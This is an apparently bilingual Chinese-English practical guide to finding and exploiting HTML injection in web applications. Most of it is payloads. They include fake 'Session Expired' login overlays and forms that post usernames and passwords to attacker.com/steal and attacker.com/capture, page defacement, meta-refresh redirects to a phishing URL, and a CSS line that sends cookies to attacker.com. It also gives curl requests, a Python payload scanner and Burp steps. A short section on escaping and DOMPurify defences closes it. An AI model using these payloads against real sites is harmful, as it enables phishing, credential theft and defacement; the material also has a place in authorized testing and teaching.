识别并利用允许攻击者向Web应用程序注入恶意HTML内容的HTML注入漏洞。此漏洞使攻击者能够修改页面外观、创建钓鱼页面，并通过注入的表单窃取用户凭据。

当用户输入在网页中被反映而没有适当的清理时，就会发生 HTML 注入：

<div>
    Welcome, <?php echo $_GET['name']; ?>
</div>


?name=<h1>Injected Content</h1>


<div>
    Welcome, <h1>Injected Content</h1>
</div>

1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=

使用简单的 HTML 标签进行测试：

<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>


<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks


<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>


<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">

# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"

# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
     <h1>Site Under Maintenance</h1>
     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
     </div>


Great article!
<form action="http://attacker.com/steal" method="POST">
    <input name="username" placeholder="Session expired. Enter username:">
    <input name="password" type="password" placeholder="Password:">
    <input type="submit" value="Login">
</form>

http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">


http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>

# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
     http://target.com/register

http://target.com/page/<h1>Injected</h1>


http://target.com/users/<img src=x>/profile

<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:white;z-index:9999;padding:50px;">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    <form action="http://attacker.com/capture" method="POST">
        <label>Username:</label><br>
        <input type="text" name="username" style="width:200px;"><br><br>
        <label>Password:</label><br>
        <input type="password" name="password" style="width:200px;"><br><br>
        <input type="submit" value="Login">
    </form>
</div>


<style>
    input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
    <input name="user" placeholder="Verify your username">
    <input name="pass" type="password" placeholder="Verify your password">
    <button>Verify</button>
</form>

http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E

<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:#000;color:#0f0;z-index:9999;
            display:flex;justify-content:center;align-items:center;">
    <h1>HACKED BY SECURITY TESTER</h1>
</div>


<style>body{display:none}</style>
<body style="display:block !important">
    <h1>This site has been compromised</h1>
</body>


<img src="http://attacker.com/defaced.jpg" 
     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">


<marquee behavior="alternate" style="font-size:50px;color:red;">
    SECURITY VULNERABILITY DETECTED
</marquee>

<style>
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }
</style>


<div style="background:url('http://attacker.com/log')">Content</div>

<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">


<meta http-equiv="Content-Security-Policy" content="default-src *">

<form action="http://attacker.com/steal">


<input type="hidden" name="extra" value="data">
</form>

<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>


<iframe src="http://attacker.com/track" style="display:none"></iframe>

<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>


&#60;h1&#62;Encoded&#60;/h1&#62;
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E


<h
1>Split Tag</h1>


<h1%00>Null Byte</h1>


%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E


\u003ch1\u003eUnicode\u003c/h1\u003e


<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>

1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections

1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually

#!/usr/bin/env python3
import requests
import urllib.parse

target = "http://target.com/search"
param = "q"

payloads = [
    "<h1>Test</h1>",
    "<b>Bold</b>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<a href='http://evil.com'>Click</a>",
    "<div style='color:red'>Styled</div>",
    "<marquee>Moving</marquee>",
    "<iframe src='http://evil.com'></iframe>",
]

for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"
    
    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "<h1>" in response.text or "<b>" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")

// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// PHP: Strip tags
echo strip_tags($user_input);

// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');

# Python: HTML escape
from html import escape
safe_output = escape(user_input)

# Python Flask: Auto-escaping
{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)

// JavaScript: Text content (safe)
element.textContent = userInput;

// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!

// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

File upload HTML file with malicious content

Html Injection Testing 实用指南

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

人工智能

HTML注入漏洞测试实用指南：涵盖识别、利用与防御全流程。从基础测试载荷到高级绕过技术，提供存储型/反射型注入检测方法、钓鱼表单构建、篡改演示及自动化测试脚本。包含PHP/JavaScript/Python防护编码示例，适用于授权安全评估与教育场景。

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Html Injection Testing 实用指南

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